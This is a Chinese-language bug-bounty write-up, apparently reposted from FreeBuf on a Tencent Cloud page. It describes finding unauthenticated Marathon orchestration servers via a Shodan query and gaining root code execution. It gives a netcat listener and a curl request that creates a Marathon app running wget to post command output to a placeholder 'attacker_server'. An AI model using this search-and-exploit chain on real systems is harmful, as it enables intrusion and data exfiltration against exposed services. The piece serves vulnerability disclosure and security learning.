前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >通过Shodan发现目标应用Marathon服务的RCE漏洞

通过Shodan发现目标应用Marathon服务的RCE漏洞

作者头像
FB客服
发布2019-10-10 16:15:12
9070
发布2019-10-10 16:15:12
举报
文章被收录于专栏:FreeBufFreeBuf

大家好,今天要和大家分享的是,作者在Shodan搜索中发现某应用系统Marathon服务的无需密码验证bug,进一步提权形成RCE漏洞。作为一名开发工程师,作者通过发现该漏洞得到的经验是:在做漏洞众测时,具备一定的开发背景经验非常重要,if you know how something works, you might be able to break it,只有了解目标应用的工作机制,才能有效地发现它存在的问题。最终作者凭借该漏洞获得厂商上万美金的奖励。

漏洞概要

某应用系统的容器编排平台Marathon服务实例的root权限RCE漏洞。Marathon是一个生产级别的容器(Docker)编排平台,用于中间层的数据中心操作系统(DC/OS)和Apache Mesos。Apache Mesos是一个分布式系统的管理软件,可对集群资源进行分配管理。Marathon算是一个基于Mesos的私有PaaS,它实现了Mesos的Framework,Marathon通过HAProxy实现服务发现和负载平衡,并为部署环境提供提供REST API服务、授权和SSL、配置约束等功能。

因此,由于Marathon是Apache mesos的一个编排平台,这意味着用户可以根据自己的需要安排要执行的任务,就像执行一条条简单的bash命令(类似于cronjobs这样的命令)。

漏洞复现

某天,当我在Shodan搜索东西时,由于之前的项目需要,我必须要自己架设一些Marathon/Mesos/Spark之类的实例,所以我就自然想到了通过Shodan来看看,有哪些大公司在生产环境中部署了Marathon服务,但却未做任何访问权限验证措施的。因此,我就按照“ssl:Redacted” “X-Marathon-Leader”这样的语法,在Shodan中进行查找,最后,还真发现了一些有意思的东西,如以下两个搜索结果:

它们是访问响应状态码为HTTP/1.1 200 OK的两个Marathon服务实例,虽然不能百分百肯定,但这种200响应码的Marathon服务,90%的可能说明无需任何密码验证即可访问。

于是,我立即按照Shodan中的显示结果,打开了目标应用的Marathon服务链接:https://XXX.XXX.XXX.XXX/ui/#/apps ,之后就真的无需密码验证,立马就进入了Marathon的主界面,如下:

这样一来,我就可以在我自己的服务器上来部署监听上述Marathon服务的实例了,通过此种方法,间接实例对Marathon服务的的远程代码执行(RCE),方法如下:

1、在我自己的服务器上设置对端口55555的监听:

代码语言:javascript
复制
#set your own server to wait the response    root@h0st:~# nc -lvvv 55555

2、用Curl命令创建一个 Marathon 服务运行实例,并通过该实例来执行cmd命令,其中的attacker_server即为我服务器的IP地址。具体命令如下:

代码语言:javascript
复制
# create a marathon application that will be execute any command that you want (in this case is /usr/bin/wget --user-agent=marathon-id --post-data=`id`)    # replace attacker_server with your listening server that you set up with netcat and the "rce-id" tag with your own custom tag, this is the Marathon application name    curl -sk -X POST -H "Content-type: application/json" https://XXX.XXX.XXX.XXX/v2/apps -d '{ "mem": 16, "id": "rce-id", "cmd": "/usr/bin/wget --user-agent=marathon-id --post-data=`id` attacker_server:55555"}'

3、再打开https://XXX.XXX.XXX.XXX/ui/#/apps 的Marathon服务管理界面,可以看到其中已经包含了一个名为“rce-id”的实例,这就是我们刚刚用curl命令创建的。在我的自架服务器中,稍等一会,就能看到XXX.XXX.XXX.XXX响应回来的cmd命令输出结果:

PS:测试过后,为了不对目标应用系统造成安全影响,我及时从Marathon界面中删除了创建的“rce-id”实例。整个过程中,就用到了netcat、curl命令和浏览器,另外,当然主要还是Shodan很给力了。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-10-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞概要
  • 漏洞复现
相关产品与服务
命令行工具
腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档